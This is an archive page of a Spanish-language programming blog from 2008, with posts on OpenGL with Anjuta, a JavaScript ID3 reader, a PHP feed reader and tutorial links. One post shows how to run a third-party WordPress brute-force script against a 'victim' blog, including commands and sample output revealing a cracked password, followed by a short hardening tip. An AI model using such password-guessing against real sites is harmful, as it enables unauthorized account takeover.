Archive for the 'codigos' Category

08th Oct 2008

OpenGL en C + Anjuta + Linux

Algunos de nosotros nos gusta programar de vez en cuando en C, C++, y hay otros a quienes nos gusta hacerlo en un simple editor de texto.

Bien, para los que gustan de usar IDE’s al estilo Dev-C, en linux contamos con Anjuta, que nos proporciona una interfaz muy agradable y capas de personalizarse a través de plug-ins.

Para rematar, intentaremos programar algo con las librerías OpenGL.

Instalamos los compiladores necesarios para trabajar con C como lo son gcc, g++ y g77:

$ sudo apt-get install gcc g++ g77 make

Instalamos las librerías:

$ sudo apt-get install freeglut3 freeglut3-dbg freeglut3-dev

Instalamos Anjuta:

$ sudo apt-get install anjuta

Y listo, ahora, manos a la obra, abrimos Anjuta y empezamos a trabajar.

Abrimos Anjuta.

Creamos un nuevo proyecto :: Archivo->Nuevo->Proyecto

Del tipo C++ Genérico:

Llenamos los datos necesarios:

Le decimos el destino donde se guardara nuestro proyecto, así como decimos No al soporte para bibliotecas compartidas, internacionalización, y paquetes externos ya que todo esto lo podemos hacer trabajando sobre el proyecto:

Ya casi terminamos el proyecto. Solo confirmamos lo anterior:

Por último, solo falta decirle que editor nos gustaría utilizar para programar, en lo particular me gusta Scintilla.

Ahora si, a programar. En este caso, yo metí un código muy sencillo y traté de compilarlo, y esto fue lo que obtuve (pueden bajar el programa de aqui).

Es decir, no pude compilarlo “Completado incorrectamente”, el motivo es predecible, como estoy utilizando la librería GLUT de OpenGL, necesito indicarle al compilador que haga uso de ella. En modo consola solo escribíamos:

g++ -O programa.cc -o programa -lglut

Utilizando Anjuta es solo cuestión de indicarselo. Damos click en la pestaña Proyecto, luego click derecho sobre nuestro proyecto, propiedades y añadimos el argumento como se muestra en la imagen.

Ahora si, compilamos, y listo, vemos el resultado de nuestro trabajo.

Eso es todo, ahora podremos programar C/C++ en Anjuta sobre Linux.

Dudas y preguntas, por favor, comentenlas.

Posted in C, GNU/linux, codigos, programacion | 6 Comments »

24th Sep 2008

Fuerza Bruta a blogs Wordpress

Zerialkiller pone a disposición nuestra un script que por fuerza bruta permite obtener el password de los blogs montados sobre wordpress.

wp-bruteforce

Lo descargamos y le damos permisos de ejecución.

chmod +x wp-bruteforce

Nos hacemos de un diccionario de palabras y lo renombramos como bf_passwords. Ahora ejecutamos el script y nos pedirá la dirección de la victima.

lesthack@lesthack-laptop:~$ ./wp-bruteforcer
.::Wordpress BruteForce By 0x90::.
use a good dictioary rename it to bf_passwords
Enter website with full path to wordpress:
> http://blogwordpress.com/
trying password
trying password !
trying password !
trying password !!
trying password !!2004
trying password !@#$%
...
...
Bengo WebSite http://blogwordpress.com/ password is: 02032
Have Fun ;) 

Una forma de protegernos es no utilizar la cuenta por default llamada admin, y si lo hacemos, establecer un password de una longitud mayor a 12 caracteres, incluyendo letras, números y símbolos.

Via: ZerialKiller

Posted in bash, codigos, enlaces, hacking, programacion | 2 Comments »

24th Aug 2008

Lector ID3 para MP3 en Javascript

Dándome una vuelta por aniet2k me encontré con un script echo por nihilogic.dk para leer los tags de un archivo mp3 por medio de javascript, la cosa suena muy interesante, así que me puse a hacer unas pruebas, y realmente creo que le podemos sacar provecho.

Mi ejemplo :: http://util.inocorp.org/ID3/

Ejemplo de Nihilogic.dk :: http://www.nihilogic.dk/labs/id3/

Explicación:

Para poder utilizar la librería creada por Nihilogic.dk debemos saber que esta dividida en dos archivos, un binaryajax.js y un ID3.js, ambos muy importantes.

Código de mi Ejemplo.

JAVASCRIPT:
  1. var file = "colours.mp3";
  2.  
  3. function mycallback() {
  4.     var tags = ID3.getAllTags(file);
  5.     document.getElementById("artist").innerHTML = tags["artist"];
  6.     document.getElementById("title").innerHTML = tags["artist"];
  7.     document.getElementById("album").innerHTML = tags["album"];
  8.     document.getElementById("year").innerHTML = tags["year"];
  9.     document.getElementById("comment").innerHTML = tags["comment"];
  10.     document.getElementById("genre").innerHTML = tags["genre"];
  11.     document.getElementById("track").innerHTML = tags["track"];
  12. }
  13.  
  14. function PrintTagsMp3(){
  15.     ID3.loadTags(file, mycallback);
  16. }
  17.  
  18. function loadPage(){   
  19.     var lfile = document.getElementById("file");
  20.         lfile.innerHTML="<a href='" + file + "'>"+file+"</a>";
  21. }

Vemos una variable file que contendrá la ruta de nuestro archivo MP3. Tenemos tres funciones, loadPage simplemente nos pone en pantalla que archivo es el que se analizará. PrintTagsMp3 que es la función que se ejecutara para cargar las tags, y mycallback que llenara los datos. Simple !!

Al presionar click sobre el boton "cargar", se ejecuta la función PrintTagsMp3 que contiene a la instrucción ID3.loadTags(file, mycallback), que se encarga de cargar los tags del archivo, y cuando termine de cargarlos, ejecutara la funcion mycallback, como algo tipico de Ajax.

Posted in codigos, javascript, programacion, utilerias | No Comments »

09th Aug 2008

Mini-Lector de Feeds para el Blog

Ayer tuve la idea de incluir en el blog una categoría dentro de mis menús que me muestre el ultimo post de mis blogs amigos, posiblemente me dirán, instala un plugin, pero no, yo quise investigar como hacerlo.

Lo primero que pense fue, un feed esta echo con el meta-lenguaje xml, por ende, tendré que investigar como parsear un xml en php (no elegi javascript por que queria incluirlo dentro del theme que tengo para el blog sin necesidad de esforzarme de más).

Y empezo la busqueda.

Debemos saber que un feed es un formato de datos para establecer información actualizada, pero, existen al menos dos formatos muy conocidos como lo es el RSS y Atom.

En este punto me puse a pensar, si hiba a hacer un lector de feeds tendria que hacerlo para varios formatos como el RSS, y Atom.

Pensé en muchas cosas, e investigé cuales eran sus diferencias, pero tambien pensé, es probable que alguien mas tenga ya algo echo y me guie con eso. Así que encontre un código de hernandavos.com que me ayudo bastante.

Puedes descargar el código de hernandavos.com aquí: Descargar

Ahora, el código estaba bien, muy fácil de entender,  pero, mmm, quería adaptarlo a mis necesidades, así que el código lo convertí adapte a una Clase para hacerlo un poco mas genérico, ademas de que yo solo quería el post mas reciente del blog.

Este fue el resultado: Descargar mi adaptación.

Pueden ver el resultado en el menú derecho del blog con el titulo de AUTO.FEEDS

Es probable que lo quite ya que me gasta mucho ancho de banda, asi que trataré de hacerlo de una manera un poco mas economica en cuanto a recursos.

Posted in codigos, personal, php, programacion, proyectos terminados, sobre el ITC, utilerias, web | No Comments »

04th Aug 2008

Galeria de Fotos en MooTools

Aquellos que creen que mootools no tiene futuro aquí les presento un "how to" de como hacer una espectacular galería de fotografías con este fantástico framework echo en javascript [mootools es una maravilla muchachos !!].


[demo] [source]

Crear una espectacular foto galería con MooTools

Via: NETTUS.com

Posted in CSS, codigos, diseño, enlaces, programacion, web | No Comments »

30th Jul 2008

Python: Introducción

Quise matar dos pajaros de un solo golpe y NO, no me estoy pirateando nada y tampoco quiero hacer copy-page, asi que redirecciono al post de Ihtoa.

Python: Introducción

Posted in codigos, personal, programacion, python | 1 Comment »